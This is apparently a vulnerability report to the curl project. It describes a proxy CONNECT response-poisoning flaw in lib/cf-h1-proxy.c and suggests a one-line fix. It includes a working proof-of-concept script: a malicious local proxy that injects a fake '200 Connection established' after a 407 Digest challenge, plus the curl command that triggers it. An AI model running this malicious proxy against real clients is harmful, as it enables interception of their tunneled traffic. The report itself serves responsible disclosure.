curl · Report #3767963
Proxy CONNECT response poisoning via authentication retry in cf-h1-proxy.c (libcurl)
How it was found
Summary:
When an HTTP/1.x proxy returns a 407 with no Content-Length and no chunked transfer-encoding, lib/cf-h1-proxy.c single_header() sets ts->keepon = KEEPON_DONE but never sets ts->close_connection = TRUE. Because ts->close_connection and conn->bits.close both stay false, the CONNECT tunnel state machine resets to H1_TUNNEL_INIT and retries authentication on the same TCP socket. A malicious proxy can append a fake HTTP/1.1 200 Connection established immediately after the 407; curl consumes it as the response to the retry CONNECT and falsely believes the tunnel is established. Suggested fix: in that else branch (no Content-Length, no chunked encoding) set ts->close_connection = TRUE in addition to ts->keepon = KEEPON_DONE.
Affected version
curl 8.20.0-195-gfc90bdbaf9 (commit fc90bdbaf9).
Steps To Reproduce:
Run the script below. If curl prints "CONNECT tunnel established, response 200" and sends the tunneled request without the proxy ever sending a real second CONNECT response, the injection is confirmed.
#!/bin/bash
# Reproduction: Proxy CONNECT Response Poisoning via Authentication Retry
PROXY_PORT=34371
python3 << 'PYEOF' &
import socket, time
NONCE = "dcd98b7102dd2f0e8b11d0f600bfb0c093"
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(('127.0.0.1', 34371))
srv.listen(1)
print("[proxy] listening on 34371")
conn, addr = srv.accept()
print(f"[proxy] connection from {addr}")
data = b""
while b"\r\n\r\n" not in data:
data += conn.recv(4096)
print(f"[proxy] <- first CONNECT:\n{data.decode(errors='replace').strip()}")
# Send 407 Digest challenge WITHOUT Content-Length, immediately followed by the fake 200.
response = (
b"HTTP/1.1 407 Proxy Authentication Required\r\n"
b"Proxy-Authenticate: Digest realm=\"testrealm\","
b" nonce=\"" + NONCE.encode() + b"\"\r\n"
b"\r\n" # end of 407 headers - no Content-Length, no body framing
b"HTTP/1.1 200 Connection established\r\n"
b"\r\n"
)
print(f"[proxy] -> 407 Digest (no Content-Length) + injected 200 on same socket")
conn.sendall(response)
time.sleep(2)
try:
retry = conn.recv(4096)
if retry:
print(f"[proxy] <- retry CONNECT (should NOT arrive):\n{retry.decode(errors='replace').strip()}")
else:
print("[proxy] no retry received - curl already consumed the fake 200")
except:
pass
time.sleep(5)
conn.close()
srv.close()
PYEOF
PROXY_PID=$!
sleep 0.5
echo "=== Running curl through malicious proxy (Digest auth - two-step handshake) ==="
curl -v --proxytunnel -x "http://127.0.0.1:${PROXY_PORT}" --proxy-digest -U "user:pass" "http://victim.invalid/" 2>&1
wait $PROXY_PID 2>/dev/null
Impact
Summary:
A malicious or compromised HTTP proxy can poison the CONNECT handshake so that curl believes an encrypted tunnel is established when it is not. The proxy operator can then observe or modify all tunneled traffic - including pre-TLS data and the HTTPS ClientHello - before TLS negotiation begins, enabling interception or tampering of the protected connection.